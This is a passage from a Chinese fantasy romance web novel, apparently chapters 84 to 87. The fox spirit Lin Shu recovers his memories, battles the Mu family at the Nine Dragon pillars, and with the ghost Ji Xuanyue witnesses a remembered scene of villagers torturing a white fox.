宋玉家里有一张从竹里到卡苏苗寨的车票。 宋夫人惠琼，是卡苏苗寨的人？ 那她不可能不知道金蚕蛊！ 那么林疏放置的窃听纸符里，惠琼为什么好像一点都不知道自己的丈夫请了什么东西回来？ 难道宋玉请回来的根本不是金蚕蛊，宋玉家中的金蚕蛊，其实是惠琼养的蛊？ 如果卡苏苗寨真正的传人是惠琼，那鹤城置换案，究竟是惠琼出手做的，还是与穆迎秋同在意大利的乌多苗寨蛊王做的？ 林疏马上将这几张票据和搜集到的资料都用手机拍了下来，然后在心中快速分析。 其实这些杂乱的案子背后，一直有一个隐藏的敌人。 这个人将旗袍老太案、十三行酒吧投毒案、四煞千年柱案都纠葛在了一起，林疏早已察觉到他的存在，但苦于没有证据、没有痕迹。 但“没有痕迹”这件事，本身就是最明确的线索。 而今，终于找到一些可以追查下去的东西，他们却身处 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林疏叹了口气。 不到万不得已他不想用这个办法，但此时此刻，他恐怕没办法顾忌别的突发状况了。 “我与林聆，都是天狐。”林疏沉声道，“天狐是操控时间与空间的神兽，同类之间是可以灵识相通的，如果通过它来创造时空通道，你我百分百可以回去。” “但是呢？”姬悬月蹙眉道，“如果真有这么简单，你我刚落地的时候，你就这么做了。” 林疏拧拧眉——当然没有那么简单，因为他的灵识不完整。 他失去了那份致使自己从仙胎中孵化出来的“天道圆融”，没有自己如何参透天道、化形成人的记忆，他就算不得完整的天狐。 先前在复制的民国时空里，他使用过一次暂停时间与空间的法术，至多只能维持10秒——他是个废物。 如果强行打通时空通道，废物林疏恐怕很难穿过时空乱流，到时候残缺不全的灵识会影响通道的稳度。 通道不稳，始作俑者林疏就会被乱流直接袭击，运气好的话，林疏被打回原形，运气差的话……恐怕神识会被丢进记忆之海从头洗到尾，变成个小傻子。 到时候就得从头开始修炼了。 不过这个可能性不大……因为林聆那头的灵识很稳定，只要操作得当，他不会脱轨，顶多变几天狐狸。 无论如何眼下都该回去了，再在这个地方待下去，林疏非急疯了不可。 大不了以狐型重新参悟天道……林疏咬咬牙，就地开始用灵识联系林聆。 ……然而数分钟过去后，林聆的灵识没有反应。 林疏：“？” 林聆怎么了！ 这下林疏再顾不得什么残缺灵识什么混沌道心，他加大了灵识沟通的力度，姬悬月看出他脸色不对，忙坐在他身边：“怎么了？” “我联系不到林聆！”林疏焦躁道，“他的灵识不会也受损了吧？他怎么了？” 林聆是活了几千年的天狐，他怎么可能轻易出事呢！ 84. 第 84 章 林疏简直要急死了，他大脑飞速转动，突然想到一件事——林聆和顾煜城是正儿八经的道侣，两人的灵识是结过道侣印的，他联系不了林聆，可以试着联系顾煜城！ 联系顾煜城的灵识会有风险，因为顾煜城终究是个人，不是天狐，林疏和他之间是有壁的。 如此一来他就会更容易坠入记忆之海。 到时候一个失误，就会再一次，忘记许多事情。 有可能只记得昨天，也有可能，只记得和姬悬月表白之前。 当然也有可能连这些全都一起忘记。 就像二十四年前一样。 他舍不得这一世的任何记忆，不管是师父、师娘，还是灵调局的同事。 ……还有他的朋友， 还有——姬悬月。 他无论如何也不想忘记！ 但林聆已经出事，如果他再不回去，属于他们的时间线恐怕也要毁掉了！ 想到这里，林疏手指发着抖，拿出手机点开了录音机，深吸一口气，按下了录音键。 “听到这段录音，就将拍摄下来的所有文字材料，交给灵调局的林聆。”他清清冷冷的声音在安静的室内回荡。 姬悬月一瞬间就听懂了林疏没有解释的“但是”。 “你会忘记？”他大步上前，紧紧握住了林疏的肩膀。 林疏露出个轻松的笑容来，扯谎：“有概率，但更有可能回想起一切。” “有概率是多大概率？”姬悬月摇摇头，“不行，我不愿意冒任何风险，如果你又忘了我，那……” “总要赌一把的。”林疏笑道，“万一赌赢了，我可就什么都想起来了。” 姬悬月不依不饶：“万一赌输了呢？” 林轻声道：“那就当……你的愿望提前实现了吧。” 姬悬月愣住。 周围的空气仿佛一下子死掉了，姬悬月忘记了呼吸，他看着小狐狸，第一次觉得天使一样的笑容也可以这么残忍。 时空通道的开启耗光了林疏剩余的全部灵力。 他抓起姬悬月的手，就要往里跳。 姬悬月突然道：“林疏，我爱你。” 林疏：“啊，什么？” 然而这一瞬间他们已经跳进了时空通道，林疏恰好回头，看到姬悬月微笑的，却绝望的眼睛。 就像等待审判的罪人。 姬悬月在等他和他的结局。 时间好像只过去了一分钟，又好像过去了一辈子。 眼前如万花筒般令人眼花缭乱，姬悬月觉得被晃得有些恶心，但很快他看到了暖融融的光从前方透过来，下一秒，他踩在了实地。 然后，他和林疏落在了……林聆和顾煜城的家中。 那长条的沙发上卧着一个男人，空气中有淡淡的血腥味，听见轰隆声，男人抬起眼皮看了一眼，深邃双目中没有太意外的神色，只是淡淡看着姬悬月和他怀中的林疏。 看着突然出现的两人，顾煜城只是鼻子微微不悦地皱了一下。 姬悬月才抱着林疏站稳，他顾不上去看顾煜城的反应，立刻就低头去看林疏，却发现林疏脸上一片空白。 姬悬月心中大骇，难道……林疏真的忘记所有了吗？！ 但数息之后，林疏窒息一般在他怀里痉挛了几下，然后挣扎着翻身，跪倒在地上，艰难喘|息几声后，吐出一口血来。 姬悬月慌了，赶忙将他笼进自己臂弯，发着抖道：“你怎么了？林疏，你怎么了？” 林疏胡乱摆摆手，他鼻子里也流出血来，一边咳嗽着，一边不停用袖子抹嘴边的血。 看着林疏吐血，姬悬月双眼都红了，孽力在体内一波一波翻滚肆虐，如果林疏真的有什么不测……他要全世界来陪葬！ 不行……他不能……他必须控制自己！ 林疏似乎也意识这一点，他竭力忍耐着，还要口齿不清地安抚姬悬月：“我没事，没事……” 姬悬月深呼吸，万般情绪涌上心头，他明白自己无论如何也不能失控。 于是，林疏在艰难擦着血，姬悬月已经双眼通红，骤然冷静下来，他眼中的血色更浓郁，开口的语气却平和：“你哪里痛吗？我能帮上什么忙？” 边说着，他边竭力抱住了林疏，他知道自己没有温度，可是此时此刻，除了拥抱，他也不知道自己还能给林疏什么。 除了不添乱，他不知道自己还能带给林疏什么。 林疏被血呛得咳嗽了一会儿，其实这只是时空乱流撕扯给他带来的内脏伤害——源于他灵识残缺，并没有多严重，只是看着吓人。 但林疏的目光空洞洞的。 从某种角度来说——他居然赌赢了。 以残缺的灵识在记忆之海里打个滚，有百分之九十九的人都或多或少会失去一些记忆。 但林疏居然误打误撞想起来了很多事。 虽然不知道这些记忆算不算完整，但意外的很清晰——自仙胎中悟道出世、遇上穆绍棠与姬悬月，到二十四年前他代受天罚，被劈毁仙根和灵识，他都已经想起来了。 不是什么穆绍棠。 他的“亡夫”，自始至终，都是姬悬月。 但林疏没有说，他只是将瘀血咳出来，然后在姬悬月胸口轻轻推了一把。 姬悬月还未忘记悬在头顶的达摩克利斯之剑，在被推开的一瞬间，他的心提到嗓子眼。 林疏的记忆还剩多少？ 林疏还记得他们之间的爱吗？ 林疏用袖子抹干净口鼻的血，一抬头看见了卧在沙发上冷眼旁观的顾煜城，怔了半天，才道：“……师父？” “嗯。”顾煜城的声音有点哑，“回来了？” 林疏咽下一口腥甜，忙问道：“我师娘呢？” 顾煜城道：“他还没回来。你们的动作比我想象中快，幸好最难的一仗已经打完了。” 林疏马上跑过去，用血迹斑斑的手虚虚抹过顾煜城的身躯，顿时不敢置信道：“师父！” 顾煜城不耐烦道：“小声点，我知道自己什么情况。” 林疏已经被吓得往后退了半步，不由道：“你怎么还活着呢？” 顾煜城：“……” 林疏那一番灵力探测，发现顾煜城全身的内脏和骨骼几乎都碎掉了，他完全是一堆碎肉瘫在沙发上，但……居然还能说话，外表上也看不出什么伤。 “九龙千年柱那边，煞气有点严重。”顾煜城道，“小伤，且休养一晚，我恢复元气再去救你师娘。” “林聆被掳走了？”林疏马上意识到事情的严重性，难以置信道，“他可是林聆！怎么会这样？” 顾煜 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自回到当前的时空，林疏的身体就开始自发吸收天地灵气，此时熟练地御风上了天，他脸上少了几分清澈愚蠢，多了些令人难以看透的深沉。 而姬悬月心事重重望着林疏的侧脸，他知道，一定有什么不同了。 毕竟，原本的林疏几乎从未这样熟练地御风飞天，他更多的时候是借助交通工具。 有车骑车，没车打车，要么就坐驭龙旗。 还从未…… 还有，林疏方才当着顾煜城的面，直呼了林聆和赵潜州的名字……电话里更是称呼赵潜州为“赵队”。 在姬悬月记忆里，林疏一直是称呼他们为“师娘”和“老赵”的。 在快要到达九龙千年柱时，姬悬月突然问道：“你还是我的小狐狸吗？” 林疏听闻此言，骤然回头，眸中闪过复杂情绪。 姬悬月的心却不断下沉。 林疏没有回答他。 在这一瞬间，姬悬月感觉胸口如撕裂一般痛，可他只能努力露出个温和的微笑：“……没关系，只要是你就好。” 他偏过头，去看远处的天际，他不敢再看林疏的眼睛。 一双手臂却突然搂上姬悬月的腰，小狐狸一秒切换了法相，毫不犹豫，踮起脚尖吻上了姬悬月的嘴唇。 姬悬月怔住。 他看见林疏眼角雪白睫毛上缀着一滴眼泪，被风带离了那泛红的漂亮眼尾。 林疏的吻里分明带着痛苦，可是又那样渴望。他眼尾的泪水那么苦涩、那么难过，而他紧紧抱着姬悬月，恨不能将自己融入他的身体里。 “悬月……”林疏口中呢喃的是姬悬月从未听过的称呼，落在他耳里，却像听过千百遍一样顺耳和自然。 姬悬月脑海中仿佛有什么东西清脆地裂开了。 是记忆的外壳。 是完全不同于……他找回生前记忆时的错乱与茫然。 是一层壁垒被打破，但记忆还是没有回来的空白。 是只剩痛彻心扉和悲愤的一种感觉， 是好像想起了，却又无处探寻的煎熬。 85. 第 85 章 姬悬月什么也想不起，他只能抱紧林疏，抱紧这个让他煎熬的人。 他想加深这个吻，林疏却睁开眼睛，推开他，深深望着他。 姬悬月双眼中满是疯狂的血色泪水，即使他根本不知道自己为什么会流泪。 林疏将他的眼泪擦去，他才懵然惊醒，呢喃着：“我这是……怎么了？” 而林疏摇了摇头，没有回答。 两人已经到了九龙千年柱。 这里的天空笼罩着一团厚厚的深红色云雾，让人望之生畏。 林疏率先落了下去，小广场已经被黄标和蓝白警戒线围了起来，但周围没有灵调局人员看守——这是不合规定的，除非发生了意外状况。 林疏抬头向上看去，九龙千年柱顶端的神兽“望天犼”已经被隐没在云雾之后，而这里的云雾有一股非常浓郁的血腥味。 他们视线里的九龙千年柱只剩三根，其余的都隐在这血腥云雾之中。 “悬月退后，”林疏右手拇指与食中二指一搓，一蓬暗绿色的狐火从他指尖绽放，随着林疏口中默念的法决，狐火迎风见涨，窜到了近三米高，几乎将他整个人都包裹在了里头。 姬悬月怔怔看着林疏，这蓬狐火，就像一道陌生的墙，将他的林疏，隔在了一处分外缥缈和遥远的距离。 狐火中却伸出一只手。 林疏回头看着姬悬月，摊开掌心：“现在不会烧到你了，跟我一起？” 姬悬月的心还有些乱，看见林疏伸过来的手，怔了一下。 林疏的眸中目光很淡，但姬悬月在里面看见了自己。 哪怕他们一句别的什么话都没说，姬悬月的心却突然放了下来。 他知道，林疏心里还有他。 这就足够了，这就足够了。那距离瞬间消失了，姬悬月握住林疏的手，跟着他一起，朝九龙千年柱走去。 周围的血雾在碰到狐火的瞬间就消融了，林疏跟姬悬月一起进入血雾之中。慢慢的，石柱纷纷清晰出现在他们面前。 林疏的脚步停了。 左一石柱上，金发的苏珊娜垂着头被捆缚在石柱上离地大概一米高的地方，绑住她的是一些画满咒文的白色布条。 左二石柱上，身穿蓝裙子、面无血色的温丽雅也被同样的布条绑在上面。 其他石柱，则都是空着的。 但中间石柱底下，站着一个人。 穆迎秋。 “你终于来了……”穆迎秋叹了一声，待看清了林疏后却有些惊讶。 他望着林疏雪白狐耳和长发，脸上逐渐写满贪婪的志在必得。 林疏的面色却很淡漠：“林聆呢？” 穆迎秋随口道：“在我哥那里。不过，有了你，他便没用了。” 说罢，他手一挥，林疏和姬悬月周围便又起了一座雷电的牢笼，将他们二人，和五根石柱上的魔与怪、石柱底下的穆迎秋，都笼罩在了里头。 不知道这次的阵法里又有什么新鲜玩意，石柱上的苏珊娜和温丽雅都痛苦地哀嚎起来。 就连林疏身后的姬悬月，都捂着额头闷哼了一声。 林疏却毫无反应，不动，也不说话，姬悬月头痛得已经捂着额头跪坐在地上，林疏却只是攥紧了与他相握的那只手。 穆迎秋用很得意的眼神看着林疏。 林疏突然问道：“是《丹阴七蛊阵》这本书里学到的吧？” 穆迎秋的笑容凝固了一下，并未回答。 林疏却只是用食指在眉心点了一下，他此刻仍是白发的法相，周围的风在这一点之下，掀起柔和风刃，从下往上盘旋，刘海被风吹动，露出他一直被碎发覆着的眉心——那里有一枚淡红色的印记。 林疏从那枚印记里，取出了一支白玉短笛。 穆迎秋脸上出现一秒钟的空白。 而林疏已经单手执笛，放在嘴边轻轻吹了一下。 他们周围的阵法，在笛声响起的那瞬间就直接融化掉了，穆迎秋惊疑不定看着林疏：“你怎么突然……” 怎么突然掌握了破除阵法的要诀！ 但他的疑问来不及说出了。 林疏嘴上吹笛的动作根本没停，空灵笛声回荡在九根石柱之间，这周围的血雾、地上的阵法，全部都消融了，而穆迎秋也口鼻出血，瘫软在地，不省人事。 这九龙千年柱总算恢复了往日的样子——也不知道是谁、是怎么填上了塌陷的大坑，不过林疏直觉脚底的砖石都是假的，其实没有被填上，他们踩上的应该是一个结界。 但这样也蛮好，至少有个地方可以踩。林疏便收了笛子，随手封回眉心那道状如狐火的封印印记。 他回头，捞起了捂着头呻|吟的姬悬月，轻声问道：“还好吗？” 姬悬月摇摇头：“不太好……” 他脑中那道记忆的封印好像破碎得更厉害了，有点点滴滴的碎片溢出，他却无法将之整理清楚。 林疏道：“我要做法找林聆了，你去把食人魔和血煞怪放下来。” 姬悬月应声，忍着头痛起身去放人。 眼前明明是斑驳的灰白石柱，脑中碎片却闪烁着与眼前的一切对上，他错觉自己看到了……浸透鲜血的石柱。 林疏看了姬悬月一眼，低头准备捏个法决找林聆。 然而灵力还没释放出来，他身前的穆迎秋突然以一个非常古怪的姿势……站了起来！ “悬月！”林疏马上警惕地朝着刚越过穆迎秋的姬悬月大声喊道，“小心穆迎秋！” 姬悬月马上回身，但已经来不及了！穆迎秋抬起双手，从后面死死掐住了姬悬月的脖子！ 他的手指居然如被吸干血肉的骷髅一般！ 穆迎秋哈哈大笑，嘴中发出的却是一个苍老的、熟悉的声音！ “我穆家千年所图！”穆迎秋……或者说穆迎秋体内的老者癫狂大笑，“终于在此代功成，我倒要看看，谁敢阻拦！” 林疏马上通过黑色项圈召唤姬悬月，但姬悬月的身躯闪了闪，并未成功瞬移过来……他颈上的缚灵索被穆迎秋干枯的手指箍着，上面的阵法恐怕有损！ 林疏暴怒道：“你是何方妖孽！快放开他！” 穆迎秋转头看过来，露出一个诡异的笑容：“白狐，又见面了！” 林疏一愣，后脊瞬间如被冰封一般，喃喃道：“穆文泰？” ——穆家人都叫他阿白，姬悬月叫他小狐狸。 只有穆文泰 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两人相拥着退了好几步，林疏松了口气，蹙眉去看姬悬月脖子上的痕迹。 那双爪子果然有什么古怪，姬悬月脖子上有两个被烫伤一样的手印，连那条缚灵索织的丝带都被融掉了一些，上面的阵法恐怕也已经残缺不全了。 林疏马上踮起脚尖，将那条丝带解开，姬悬月温柔地垂下头，让林疏更好地够到，手自然地搭上林疏的腰际。 两人默契地交颈，林疏将丝带换了个位置，换一截完好的重新系上，绳结依旧在姬悬月背后。 那场景在四面尘烟里竟然显得十分唯美……就像林疏垫踮着脚、姬悬月垂着头，两人亲密相拥一样。 被这样近的距离搞得有点心猿意马，林疏突然笑了一声，然后很轻地啄吻了一下姬悬月的嘴唇。 姬悬月浓黑的睫毛微微低垂着，他透过睫毛，仔仔细细看着林疏脸上每一寸的表情。 有一瞬间他以为林疏还是他的林疏。 现在的林疏……就很像他的林疏。 林疏却没有多余的时间钟浪费在儿女情长上，一秒钟之后他就换上了淡漠神色，推开姬悬月，却要握住姬悬月的手，一步步走到了穆迎秋身边。 大约离穆迎秋五步之远，林疏停下来，一手仍然握着姬悬月的手掌，另一手伸出，在穆迎秋头顶隔着虚空一拉一扯。 一个半透明的老者灵魂被他强行从穆迎秋身体里扯了出来。 老头愤怒地瞪着眼大声嘶吼着什么，但鬼魂天然与活人有壁，从前的林疏不会“屏蔽”是因为他忘了，此时的林疏，不想听直接就不听了。 于是他一手捏着老者的脖子，用法术给老头消音，另一手牵着姬悬月，两人一同走到捆绑苏珊娜的柱子底下。 他不会再放开姬悬月的手了。 姬悬月一点点去解开绑着苏珊娜的白色咒布，林疏就在一旁随意地审问那老头：“好久不见了穆文泰，你来干什么？我劝你识相点，知道什么就说什么，最好不要惹我生气。” 老头的咒骂总算有了宣泄口，但林疏只是短暂听了三个字，就重新屏蔽了他。 86. 第 86 章 等老头骂累了，林疏重新接听，再次非常有礼貌地问道：“说，你来是要干什么？” 穆文泰：“……” 姬悬月已经解救了苏珊娜，林疏朝着满脸凶煞恶气的血煞怪随手一搓，一身血衣的咆哮哥苏珊娜就被他轻而易举地捏扁，也不顾苏珊娜痛苦哀嚎，像卷一幅画似的把她卷起来，吸进袖子里去了。 姬悬月：“……” 穆文泰：“……” 林疏指着温丽雅，朝姬悬月抬了抬下巴。 姬悬月于是老老实实继续去解温丽雅。 穆文泰终于住嘴了，有些讪讪的。 林疏再次换上微笑，捏了一下穆文泰的肩胛骨，穆文泰似乎听到了自己魂魄碎裂的声音。 “最后一次问你，你来干什么的。”林疏轻声道。 穆文泰后背一凉，觉得这个“最后一次”可能不是什么良善的意思。 林疏嘴角的笑容随着耐心用光，正逐渐消失。 穆文泰慌忙道：“我……我我我，我是为了四煞千年柱！你，你你们都得死！” 林疏冷漠地瞧他一眼：“废话。” 他直接伸手，就要捏爆穆文泰的灵魂。 穆文泰感觉到爆裂疼痛，终于彻底知道眼前的人是个什么疯子，他大叫着让林疏放手放手，但林疏已经不想听了。 就在穆文泰的魂魄已经快被碾碎成尘的时候，姬悬月成功将温丽雅救了下来。 林疏瞧了瞧温丽雅，蓝裙子女孩正用躲闪的眼神瞟着他。 林疏眉毛一扬，随即松了手，将魂魄几乎被捏碎、虚弱得只剩指甲大小的穆文泰丢在一边，伸手去拘温丽雅。 温丽雅被绑在柱子上多时，已经很虚弱，被林疏一捏，直接就不反抗了。 林疏却没有像卷苏珊娜一样把她捏扁，而是上下打量了她一圈，笑道：“穿的Lolita小裙子啊。” 温丽雅绝望地仰起头：“你杀了我吧……” 林疏道：“谁给你买的？” 温丽雅：“……” 林疏的手指却冷漠地收紧了。 温丽雅艰难地挣扎了两下，见此人也就是脸上嘴上温和些，手上完全不怜香惜玉，只能断断续续道：“我……我哥哥……” 林疏将手指微松了些：“你哥哥在哪儿？” 温丽雅犹豫了一下，不说话了。 林疏的手指骤然收紧。 可任由他如何残酷地要将温丽雅的头都拧下来，这小姑娘还是一个字也不肯说。 林疏啧了一声，将温丽雅也捏扁，卷起来塞进了袖子里。 于是九龙千年柱彻底消停了，缩小版的穆文泰跑了半天也只跑出去半米远，穆迎秋昏死在一边，林疏也懒得管他，他就站在石柱正中央，再次画符，寻找林聆。 狐火追踪着林聆的气息，绕着九龙千年柱飞了一圈，最后停在了林疏脚边。 林疏：“？” 难道狐火都已经找不到林聆了吗？不，这不可能。 他蹙眉朝后退了两步，狐火却没动。 林疏瞬间明白了，他马上在地面的结界拍了一下，石砖的地面顿时嗡一声消去了伪装，现出层层叠叠的复杂阵法来。 林疏挑挑眉，饶有兴致地开始解阵，而姬悬月在一旁看着，只觉得陌生非常。 他记忆里的林疏，是不怎么懂阵法的。 然而解到一半，林疏的手指突然顿住，他抬头，看了看距他一米远的姬悬月，突然起身，牵住了他的手。 姬悬月被他拉着，走到他身边蹲下，看着他继续低头勾勾抹抹。 ——林疏好像十分没有安全感，不牵着他的手，就心神不安。姬悬月明白过来，心里却愈发茫然而不知所措。 这是他的林疏，好像又不是他的林疏。 片刻后，脚底的大阵闪过一道金光，随即化为乌有。 林疏早已经做好准备，御风停在了半空，才没有随着大阵的消失而掉下去。 但在大阵消失之后仅一瞬间，他和姬悬月就被一股散发着惨白光芒的法力吸进了地砖下方的，另一个阵法中！ 林疏的第一反应就是——穆文泰果然还是搞鬼了！ 他马上撕裂了眼前的虚幻，但这阵法似乎不是用灵力铺设，他挣扎了一会儿，发现自己的灵力无法与之对抗。 而眼前的场景已经铺开，他看到了月下的一片荒草地，荒草地的尽头，是那熟悉的——九龙千年柱。 每一根石柱都完好无损的，九龙千年柱。 而下方，一伙鼠尾马褂的家丁正扛着棺材，走在昏暗的月光下。 林疏蹙眉，他眼下似乎没有实体，只能以旁观者的角度，来看底下发生的一切。 穆文泰想让他看什么？ …… 头痛欲裂。 姬悬月呻|吟着睁开眼睛，他发觉自己眼前一片漆黑，身下摇摇晃晃。 但是只一动，他就感觉浑身血管炸裂了一般疼痛，好像有无数条金丝勒紧了他每一寸皮肤里，他身上哪怕只是汗毛动了一动，就会牵扯着全身的皮肉筋骨都被割裂。 这种感觉不算陌生……在哪里体会过姬悬月已经想不起来，但他的确对这种疼痛很熟悉。 过了许久，久到姬悬月几乎要疼得失去神志了，身下的摇晃终于停了。 眼前骤然一亮，虽然不是十分亮，但姬悬月已经能看清眼前的一切…… 这是一个晴朗的晚上，月光如水，照着他眼前……一张张丑恶的脸。 姬悬月恍惚了一瞬间，发现这些人，是曾帮着穆文泰按住他的穆家家丁。 他一愣，再细细感受片刻，就发现自己仍然是死了的状态，只是魂魄不知道被什么法术钉在了自己身体里。他方才感觉到的疼痛，就是魂魄被困在死去的身体里的撕扯之痛。 原来他一直是躺在棺材里。 下一秒，穆文泰的面孔出现在姬悬月视野中，他身旁有一个面目模糊的男人，穿着一身百衲衣，手里还拿着一个铜铃铛。 铜铃铛摇了摇，姬悬月感觉身上一轻，撕扯的钝痛消失，但他还是不能自由地动，只能被迫悬在半空中，冷眼看着这群人将姬悬月的棺盖合上。 他们身后，就是九龙千年柱。 完好无损的九龙千年柱。 石柱底部，被家丁们沉默着掘开一个大坑。 红漆的棺木被好生下葬，土合于棺，铺上砂石，掩盖得如未破土时一般。 随着姬悬月的尸体被安葬在这养尸地，家丁们放下手中家伙什，后退几步，一字排开，换穆文泰和那百衲衣男子走上前来。 姬悬月看着男子 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绑着……绑着一只雪白的小狐狸。 姬悬月的脑子里嗡的一声炸了。 那是林疏。 虽然皮毛光滑，没有伤痕，但他一眼就认出了。 那是林疏。 雪白的天狐微微睁开眼睛，看了一眼姬悬月，那眸中是一闪而过的茫然与无措。 姬悬月于是知道，被绑着的小狐狸，不是与他一同被吸进大阵的林疏。 而是多年前，真正经历过这一切的林疏。 这个阵怎么这样？它要重演什么？ 姬悬月控制不住地想起顾煜城和林聆曾经说过的“绝不能让他们再对他做一次那样的事”。 穆家人，究竟对林疏做了什么？ …… 很快，姬悬月就知道了，穆家人要对林疏做什么。 林疏被栓在了其中一根石柱上，一根浸湿的麻绳套在小狐狸的脖子上，将他高高吊起来。 天狐是不会因为吊高了就勒死的，他始终都能有一口气喘着。 而随着天渐渐亮了，九龙千年柱来了很多很多人。 姬悬月从来不知道，自己所生的那个时代，玄鹤府有那么多人。 他们几乎挤满了九龙千年柱周围的空地，多数是青年壮劳力，也有许多妇女，还有领着孩子的，遥遥看去，几乎有几百人。 穆文泰对着那百衲衣男人点了点头，走到了最中间那根石柱的下面，朗声道：“承蒙各位父老乡亲抬爱，这几日，穆家广发告令，邀各位乡亲来此，是为着这只孽畜。” 他指向身后的白狐，让大家看这只吊高了却仍旧不死的妖怪。 “我穆家娶妻，人尽皆知！”穆文泰说着说着，老泪纵横，“儿媳却在新婚之夜……无故暴|毙！全因这只孽畜，它乃是千年的狐妖！能变美人，擅惑人心，扰得我穆家家破人亡！它还心狠手辣，造下无数杀孽！” 你说谎！姬悬月无声咆哮着，可那血字布条束缚着，他发不出声音。 穆文泰继续道：“万幸，我穆家得高人相助，终于将他抓获，经拷问，他做下的孽债竟不止一桩！各位父老乡亲，你们家里是否也有人突然为色-欲钱财所迷、不务正业，不思茶饭？” 87. 第 87 章 懵懂的玄鹤府百姓们纷纷点头。 姬悬月捏紧了拳头。 这年头，谁家没有点糟心事呢？ 四面战火起，老百姓的日子都不好过，鸦|片泛滥，洋人侵略，兴，百姓苦；亡，百姓苦。 如果这些罪孽可以有一个妖怪来承担……姬悬月都快气笑了。穆文泰真是打得一手好算盘。 穆文泰说完就退到一边，等着老百姓们群情激奋。 在这几百人七嘴八舌说完了家中的不幸后，那百衲衣的道人走上前来。 “稍安勿躁，稍安勿躁。”道人冲着大家比划了个安静的手势，“众位也都看见了，这狐狸吊在此处，却不咽气，乃确确实实是不死妖物。要想除去这等千年孽障，无论道门还是佛门，都力有不逮。” “那该怎么才能弄死它啊！”老百姓中有人高声问道。 道人淡笑捋须，慈眉善目道：“需借天下凡俗之手，也即各位之手。不必担心，诛灭妖邪不会遭到任何反噬，只会累积功德。功德攒得多了，不仅能神清气爽，还可庇荫后辈。” 底下的老百姓们却畏畏缩缩，不敢上前。 道人便示意穆文泰上前来。 穆文泰接过一旁家丁递过来的长剑，上前一步道：“我知道各位乡亲害怕，我愿身先士卒！当然，仅凭我一己之力是无法彻底除去妖邪的，到时还请各位父老乡亲施以援手。” 于是众目睽睽之下，穆文泰将长剑钉入了白狐的胸口。 红的血顺着雪白的皮毛喷溅出来。 林疏一言不发，连痛声都没有发出来。 而姬悬月怔怔看着，他从来没见过那么红的血。 他的眼睛都被染红了。 长剑抽出，带起一片淋漓血花，而白狐仍有气息。 穆文泰叹了一声，还未说什么，周身突然泛起金光。 这下百姓们惊呆了。 真的不死！真是妖怪！ 真的有功德！那是无量功德的金光！ 然后，穆家的家丁也挨个对小狐狸动了手。 他们有的用火去烧狐狸的眼睛，狐狸还是有呼吸起伏。 有的用乱棍去打，狐狸还是活着。 有的……拿尖锐的刀具将狐狸的四肢都剁下来，可狐狸还是活着。 他们身上无一例外都泛起了金光。 围观群众们惊疑不定，也有胆大的人上前，接过穆家人手中的凶器，对小狐狸下了死手，那狐狸却始终活着。 他们身上，也有了金光。 最后，围观的百姓，几乎所有人都参与了这场虐杀。 那些年轻力壮的暂且不提，哪怕是看起来老实巴交的农民，看起来天真善良的孩子，甚至，看起来虚弱无力的老婆婆。 他们将锐器钉进血肉模糊的狐狸身体里，他们不再惧怕这只一直喘着气的狐狸。 到最后他们也搞不清楚，自己是为了那金光闪烁的功德，还是单纯发泄虐杀的欲|望。 白狐始终一言不发。 不动，也不反抗。 但这将林疏和姬悬月带回过去的大阵，已经开始摇晃。 石柱上的姬悬月，再也不肯压制灵魂深处的孽力。 白狐血肉模糊的面孔上，眼睛艰难地睁开，他茫然地望向天空，天狐的自愈能力使他被烫得血肉模糊的双瞳依旧清澈，那束干净的目光就像一道最锐利的刀刃，刺着姬悬月的心。 姬悬月不知道他的眼神里，到底是什么样的光芒。 可那不是恨。 小狐狸的眼中没有恨。 姬悬月甚至错觉，小狐狸眼中是充满了爱意的信念。 他爱着的是谁？ 是我吗？ 我配吗？ 姬悬月一遍遍告诉自己，这只是幻境，是穆文泰想给他看的东西。 眼前的这一切都不是真的。 可什么是真的？ 什么是假的？ 姬悬月心想，如果这些事都是真实发生过的，那当年的小狐狸，是靠着怎样的信念，才一直坚持着没有对这些愚昧的凡人出手？ 堕落为妖又如何？ 为这样的世人，值得吗？ 姬悬月灵魂中无边孽力爆发开来，直接冲破了石柱。那根完好的石柱瞬间倾塌，而上头拴着的厉鬼已经怨气横生。 他怨恨这个世界，他怨恨所有伤害小狐狸的人，他怨恨天道，他怨恨自己。 那样深重的怨气。 已经与穆文泰想要做的“四煞风水局”完全相悖。 孽力冲刷着姬悬月周身所有存在的不存在的“人”，那些虚假的、阵法创造出来的场景在无尽的血孽地狱中化为乌有。 地狱中的血孽厉鬼咆哮着，他听不见自己嘶哑的声音，他只能感觉到自己浑身的每一根血管都是那么痛，可他知道他不会比林疏更痛。 无论是今天，还是当年。 他知道，他不会比林疏更痛。 阵法在血孽之力下彻底被扫平，林疏的上帝视角结束，他也被那孽力冲击得横飞了出去。 飞沙走石中，他艰难地从地上爬起来，顶着肆虐的怨气血孽，用微弱的灵力颤抖着画了一枚清心符，按在了血孽中间的、还在痛苦嘶吼的姬悬月的额头。 血孽厉鬼赤红的双眼中，饱含着无处宣泄的痛苦。 他甚至认不出眼前人的模样，双手暴涨的指甲死死抵在林疏白皙脖颈上。 林疏却踮起脚尖，去亲吻厉鬼的眼睛。 温柔的亲吻，落在厉鬼血红的眼睛。 落在高挺的鼻梁、精致的鼻尖。 停在漂亮的嘴唇。 姬悬月的孽力在吻里一点一点被收回。 他眼中的痛苦，化成一滴一滴血泪，顺着脸颊流淌下来。 孽力倒灌，冲破了他脑海中那薄薄的、几乎碎裂的封印。 姬悬月终于回想起了一百多年前，自己死后，发生的所有事情。 他慢慢地后退，后退了半步，又半步。 他全部记起来，自然也记得……自己是如何欺骗林疏的。 原来自己从始至终……都是个害人的骗子啊。 看着姬悬月这幅样子，林疏却笑了。 他如何能不知道这家伙在想什么？ 几百年了。 哪怕没有一直在一起，他也知道，姬悬月此刻一定已经明白了。 姬悬月所有的直觉，都是对的。 姬悬月无法赎罪，他没有来生。 血孽厉鬼垂下眼皮，他已经和灵魂深处的血孽之力彻底融为一体……而不远处布阵的人，让林疏又经历一次痛苦的人…… 姬悬月眼 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那就真的只能从开天辟地开始讲起了。 ……数百年前，穆家得过一个高人的批命谶言，穆家祠堂的族谱上终有一日会出现两代连续的单传，而后出生一对兄弟，其中只有一人能有一名子嗣，而这子嗣将会使穆家家败而亡。 这个诅咒当然有雅称，但在穆家，它简单粗暴地被称为“一一二一”。 何时出现“一一二一”，穆家就会何时灭亡，起初穆家不以为意，但在三代之后，穆家果然开始人丁凋零，只剩一子单传。 而此子，也只得一子。 穆家族老终于想起了这个谶言……或者说“诅咒”，于是在这代单传之后，穆家族老门就研究处了“明暗”两册族谱的避祸之法。 那就是：无论生几个孩子，只在族谱上写一人。 